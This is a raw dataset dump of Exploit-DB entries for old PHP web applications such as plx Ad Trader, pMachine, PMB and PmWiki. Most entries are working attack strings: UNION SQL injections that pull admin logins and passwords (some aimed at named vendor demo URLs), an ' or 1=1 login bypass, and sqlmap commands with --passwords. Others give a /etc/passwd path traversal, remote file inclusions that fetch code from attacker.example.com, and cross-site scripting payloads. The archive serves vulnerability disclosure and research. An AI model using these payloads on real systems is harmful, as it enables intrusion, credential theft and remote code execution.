deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5988
Description: plx Ad Trader 3.2 - 'adid' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-01
Author: Hussin X

Exploit:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@     plx Ad Trader v3.2  SQL Injection Vulnerability
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    Author: Hussin X                                   @
@                                                       @
@    Home :  www.tryag.cc/cc                            @
@                                                       @
@    email:  darkangel_g85[at]Yahoo[DoT]com             @
@            hussin.x[at]hotmail[DoT]com                @
@                                                       @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    
@
@    HomE script : http://plxwebdev.com
@
@    DeMo        : http://plxwebdev.com/demos/plxadtrader                              
@                                                      
@                                                      
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@
@
@

ExPloiT :

www.[target].com/Script/ad.php?s=redir&f=siteurl&adid=-12+UNION+SELECT+concat_ws(0x3a,login,pass)+from+br_admins-- 



L!VE DEMO :

USER

http://plxwebdev.com/demos/plxadtrader/ad.php?s=redir&f=siteurl&adid=-12+UNION+SELECT+login+from+br_admins--

PASSWORD

http://plxwebdev.com/demos/plxadtrader/ad.php?s=redir&f=siteurl&adid=-12+UNION+SELECT+pass+from+br_admins--


@
@
@
@@@@@@@@@@@@@@@@@@@@@@@( Greetz )@@@@@@@@@@@@@@@@@@@@@@@@
@                                                       @
@ TrYaG.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR       @
@                                                       @
@          str0ke / FAHD  /Iraqihack / Silic0n          @
@@@@@@@@@@@@@@@@@                       @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@(and All IRAQIs)@@@@@@@@@@@@@@@@@@@@

# milw0rm.com [2008-07-01]
Exploit-DB #15789
Description: plx Ad Trader 3.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-12-20
Author: R4dc0re

Exploit:
# Vendor or Software Link: http://www.plxwebdev.com/script/ad_trader/
# Category:WebApp
# Version: 3.2
# Price: 60 USD
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members
###################################################################################################

Submit Your Exploit at Submit@1337db.com

###################################################################################################
[Product Details]

This script will allow you to sell Banner and/or Text Ads on your web site. Ads will be rotated on
different zones as you set them up in your admin area.

You will be able in admin area set as many ad packages you wish and as many zones as well.
Each zone represent an area on a page where ads are rotated. For every visit you receive to your
site a different ad will be shown.

Advertisers will signup for free and once they are inside their advertiser area
they can Buy as many ads they want. They will be able to manage all aspects of their campaign ads.

[Vulnerability]

Authentication Bypass:

Use This string ' or 1=1 or ''='' on username and password to Enter the User panel and the Admin panel

User panel:
http://server/plxadtrader/
Admin Panel:
http://server/plxadtrader/admin/
###################################################################################################
Exploit-DB #7663
Description: plxAutoReminder 3.7 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-04
Author: ZoRLu

Exploit:
[~] plx Autoreminder v3.7 (id) R-Sql Ãnj
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 04.01.09
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

you must login to site

R-Sql

z0rlu.blogspot.com/members.php?s=newar&edmode=1&id=999999999+union+select+1,2,3,4,concat(user(),0x3a,version(),0x3a,database()),6,7,8,9,10,11,12,13,14,15,16

for demo:

user: trt-turk@hotmail.com

pass: salla1

http://www.plxwebdev.com/demos/autoreminder/members.php?s=newar&edmode=1&id=999999999+union+select+1,2,3,4,concat(user(),0x3a,version(),0x3a,database()),6,7,8,9,10,11,12,13,14,15,16

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-04]
Exploit-DB #22808
Description: pMachine 1.0/2.x - '/lib/' Multiple Script Direct Request Full Path Disclosures
Type: webapps
Platform: php
Date: 2003-06-19
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7980/info

It has been reported that pMachine is prone to remote a patch disclosure vulnerability when accessing various scripts.

When a request is made for a target PHP script, possibly requiring a blank URI parameter, pMachine is said to throw an exception. When this occurs, the resulting error page discloses the installation directory of the respective PHP script. 

http://www.example.com/Path_To_pMachine/lib/weblog.add.php
http://www.example.com/Path_To_pMachine/lib/comment.add.php
Exploit-DB #22809
Description: pMachine 1.0/2.x - Multiple Script 'sfx' Full Path Disclosures
Type: webapps
Platform: php
Date: 2003-06-19
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7980/info
 
It has been reported that pMachine is prone to remote a patch disclosure vulnerability when accessing various scripts.
 
When a request is made for a target PHP script, possibly requiring a blank URI parameter, pMachine is said to throw an exception. When this occurs, the resulting error page discloses the installation directory of the respective PHP script. 

http://www.example.com/Path_To_pMachine/index.php?sfx=
http://www.example.com/Path_To_pMachine/inc.lib.php?sfx=
http://www.example.com/Path_To_pMachine/inc.cp.php?sfx=
Exploit-DB #22810
Description: pMachine 1.0/2.x - Search Module Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-06-19
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7981/info

Reportedly, pMachine is vulnerable to a cross-site scripting attack. The vulnerability is present in the search module. The issue presents itself likely due to insufficient sanitization performed on user-supplied data that is passed as the query to the affected module.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied code passed as the keywords URI parameter may execute within the context of the site hosting the vulnerable software when the malicious link is visited.

http://www.example.com/Path_To_pMachine/search/index.php?weblog=name_of_weblog&keywords=<script code>
Exploit-DB #22776
Description: PMachine 2.2.1 - '/Lib.Inc.php' Remote File Inclusion / Command Execution
Type: webapps
Platform: php
Date: 2003-06-15
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7919/info

It has been reported that PMachine does not properly handle include files under some circumstances. Because of this, an attacker may be able to remotely execute commands.

http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=.txt with:

http://attacker.example.com/config.txt

or

http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=/badcode.txt with:

http://attacker.example.com/config/badcode.txt
Exploit-DB #27127
Description: PMachine ExpressionEngine 1.4.1 - HTTP Referrer HTML Injection
Type: webapps
Platform: php
Date: 2006-01-25
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16377/info

ExpressionEngine is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to HTTP 'Referer' header before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

GET /path/index.php HTTP/1.0
Host: host
Referer: http://<XSS>.com/;
Exploit-DB #25127
Description: PMachine Pro 2.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-02-19
Author: kc

Exploit:
source: https://www.securityfocus.com/bid/12597/info

PMachine Pro is reported prone to a remote file include vulnerability.

This issue affects the 'mail_autocheck.php' script.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This will facilitate unauthorized access.

The latest version (2.4) of pMachine Pro is reported vulnerable. It is possible that other versions are affected as well. 

http://www.example.com/pMachine/pm/add_ons/mail_this_entry/mail_autocheck.php?pm_path=http://attackers-webserver/malicious-code.php?
Exploit-DB #31027
Description: pMachine Pro 2.4.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-01-14
Author: fuzion

Exploit:
source: https://www.securityfocus.com/bid/27282/info

pMachine Pro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The issues affect pMachine Pro 2.4.1; other versions may also be vulnerable.

NOTE: pMachine Pro has been replaced by ExpressionEngine. The vendor recommends upgrading. 

http://www.example.com/pm/language/spanish/preferences.php?L_PREF_NAME[855]=<script>alert(ZOMG!);</script>
Exploit-DB #35625
Description: PMB 4.1.3 - (Authenticated) SQL Injection
Type: webapps
Platform: php
Date: 2014-12-27
Author: xd4rker dark

Exploit:
# Exploit Title: PMB <= 4.1.3 Post-Auth SQL Injection Vulnerability
# Google Dork: inurl:opac_css
# Date: 25-12-2014
# Exploit Author: XD4rker (Ismail Belkacim)
# Email: xd4rker[at]gmail.com
# Twitter: @xd4rker
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 4.1.3 (Tested against version 4.1.3, 4.1.2 and 3.4.16)

-==== Software Description ====-

PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
We are some librarians, users and developers deploring this state of affairs.
 
PMB is based on web technology. This is what we sometimes call a 'web-app'.
PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.
 
The main functions of PMB are :
 
    * Supporting the UNIMARC format
    * Authorities management (authors, publishers, series, subjects...)
    * Management of loans, holds, borrowers...
    * A user-friendly configuration
    * The ability to import full bibliographic records
    * A user-friendly OPAC integrating a browser
    * Loans management with a module designed to serve even the very small establishments
    * Serials management
    * Simple administration procedures that can be handled easily even by the library staff...

-==== Vulnerability ====-

Variable $notice_id isn't properly sanitized in file classes/mono_display.class.php, which allows authenticated users to execute arbitrary SQL commands via the id parameter.

-==== POC ====-

http://localhost/[PMB_PATH]/catalog.php?categ=isbd&id=9 [SQLI]

Using SQLMAP :

./sqlmap.py -u "http://localhost/[PMB_PATH]/catalog.php?categ=isbd&id=9" -p id --headers="Cookie: [VALID_USER_COOKIE]" --passwords

-==== Exploit requirements ====-

- You will need to be logged in in order to exploit the vulnerability.
Exploit-DB #49054
Description: PMB 5.6 - 'chemin' Local File Disclosure
Type: webapps
Platform: php
Date: 2020-11-16
Author: 41-trk

Exploit:
# Exploit Title: PMB 5.6 - 'chemin' Local File Disclosure
# Date: 2020-10-13
# Google Dork: inurl:opac_css
# Exploit Author: 41-trk (Tarik Bakir)
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 5.6 
# Tested on: Ubuntu 18.04.1

The PMB Gif Image is not sanitizing the 'chemin',
which leads to Local File Disclosure.

As of today (2020-10-13) this issue is unfixed.

Vulnerable code: (getgif.php )

line 55    $fp2=@fopen($chemin, "rb");
line 68    fpassthru($fp)


========================= Proof-of-Concept ===================================================

    http://127.0.0.1:2121/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik
Exploit-DB #48356
Description: PMB 5.6 - 'logid' SQL Injection
Type: webapps
Platform: php
Date: 2020-04-21
Author: 41-trk

Exploit:
# Exploit Title: PMB 5.6 - 'logid' SQL Injection
# Google Dork: inurl:opac_css
# Date: 2020-04-20
# Exploit Author: 41-trk (Tarik Bakir)
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 5.6 

-==== Software Description ====-

PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
We are some librarians, users and developers deploring this state of affairs.
 
PMB is based on web technology. This is what we sometimes call a 'web-app'.
PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.
 
The main functions of PMB are :
 
    * Supporting the UNIMARC format
    * Authorities management (authors, publishers, series, subjects...)
    * Management of loans, holds, borrowers...
    * A user-friendly configuration
    * The ability to import full bibliographic records
    * A user-friendly OPAC integrating a browser
    * Loans management with a module designed to serve even the very small establishments
    * Serials management
    * Simple administration procedures that can be handled easily even by the library staff...

-==== Vulnerability ====-

Variable $logid isn't properly sanitized in file /admin/sauvegarde/download.php, which allows ADMINISTRATION_AUTH to execute arbitrary SQL commands via the id parameter.

-==== POC ====-

http://localhost/[PMB_PATH]/admin/sauvegarde/download.php?logid=1 [SQLI]

Using SQLMAP :

./sqlmap.py -u "http://localhost/[PMB_PATH]/admin/sauvegarde/download.php?logid=1" -p logid --headers="Cookie: [VALID_USER_COOKIE]" --passwords

-==== Exploit requirements ====-

- You will need to be logged in in order to exploit the vulnerability.
Exploit-DB #51197
Description: PMB 7.4.6 - SQL Injection
Type: webapps
Platform: php
Date: 2023-04-01
Author: str0xo DZ

Exploit:
# Exploit Title: PMB 7.4.6 - SQL Injection
# Google Dork: inurl:opac_css
# Date: 2023-01-06
# Exploit Author: str0xo DZ (Walid Ben) https://github.com/Str0xo
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 7.4.6

-==== Software Description ====-

PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
We are some librarians, users and developers deploring this state of affairs.
 
PMB is based on web technology. This is what we sometimes call a 'web-app'.
PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.
 
The main functions of PMB are :
 
    * Supporting the UNIMARC format
    * Authorities management (authors, publishers, series, subjects...)
    * Management of loans, holds, borrowers...
    * A user-friendly configuration
    * The ability to import full bibliographic records
    * A user-friendly OPAC integrating a browser
    * Loans management with a module designed to serve even the very small establishments
    * Serials management
    * Simple administration procedures that can be handled easily even by the library staff...

-==== Vulnerability ====-

URL:
    https://localhost/opac_css/ajax.php?categ=storage&datetime=undefined&id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))SHde)&module=ajax&sub=save&token=undefined

Parameter:
    id
	
-==== Vulnerability Details ====-

URL encoded GET input id was set to if(now()=sysdate(),sleep(6),0)

Tests performed:

    if(now()=sysdate(),sleep(15),0) => 15.43
    if(now()=sysdate(),sleep(6),0) => 6.445
    if(now()=sysdate(),sleep(15),0) => 15.421
    if(now()=sysdate(),sleep(3),0) => 3.409
    if(now()=sysdate(),sleep(0),0) => 0.415
    if(now()=sysdate(),sleep(0),0) => 0.413
    if(now()=sysdate(),sleep(6),0) => 6.41

Using SQLMAP :


sqlmap -u "http://localhost/pmb/opac_css/ajax.php?categ=storage&datetime=undefined&id=1&module=ajax&sub=save&token=undefined" -p "id"
Exploit-DB #3852
Description: PMECMS 1.0 - config[pathMod] Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-04
Author: GoLd_M

Exploit:
# PMECMS <= 1.0 Multiple Remote File Inclusion Vulnerabilities
# D.Script: http://www.pmecms.com/export/maj/PMECMS_Standard_os1.0.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/mod/image/index.php?config[pathMod]=Shell
# Exploit:[Path]/mod/liens/index.php?config[pathMod]=Shell
# Exploit:[Path]/mod/liste/index.php?config[pathMod]=Shell
# Exploit:[Path]/mod/special/index.php?config[pathMod]=Shell
# Exploit:[Path]/mod/texte/index.php?config[pathMod]=Shell
# And More Download Script ......!!!
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-04]
Exploit-DB #29166
Description: PMOS Help Desk 2.3 - 'ticket.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-22
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/21250/info
 
InverseFlow Help Desk is prone to multiple cross-site scripting vulnerabilities.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Version 2.31 is vulnerable to these issues; other versions may also be affected. Ace Helpdesk and PMOS Helpdesk have also been confirmed to be vulnerable to these isssues.
 
http://www.example.com/support_path/ticket.php?email=[xss]
Exploit-DB #29165
Description: PMOS Help Desk 2.3 - 'ticketview.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-22
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/21250/info

InverseFlow Help Desk is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.31 is vulnerable to these issues; other versions may also be affected. Ace Helpdesk and PMOS Helpdesk have also been confirmed to be vulnerable to these isssues.

http://www.example.com/support_path/ticketview.php?id=[xss]
http://www.example.com/support_path/ticketview.php?email=[xss]
http://www.example.com/support_path/ticketview.php?cmd=deletepost&id=[xss]
http://www.example.com/support_path/ticketview.php?cmd=deletepost&email=[xss]
Exploit-DB #26560
Description: PmWiki 2.0.x - Search Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-22
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/15539/info


PmWiki is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PmWiki 2.0 up to and including 2.0.12 are vulnerable; other versions may also be affected. 

http://www.example.com/Site/Search?action=search&q=TRY%20ANOTHER%20SEARCH%20NOW!%20YES,%20YOU!'%20onMouseOver='alert(document.title);'%20
Exploit-DB #27147
Description: PmWiki 2.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-30
Author: aScii

Exploit:
source: https://www.securityfocus.com/bid/16421/info

PmWiki is prone to multiple input-validation vulnerabilities. These issues are due to failures in the application to properly sanitize user-supplied input.

- Arbitrary remote file-include vulnerability. Exploitation of this issue will result in the execution of attacker-supplied code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system.

- Unspecified HTML-injection issues. Successful exploitation will permit an attacker to inject arbitrary HTML code. When viewed, this code will be executed in the browser of a victim user in the context of the webserver process. Successful exploitation may aid in the theft of cookie-based authentication credentials, or allow the attacker to control how the site is rendered to the user; other attacks are also possible.

These issues affect version 2.1 beta20; other versions may also be vulnerable. 

http://www.example.com/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.example.com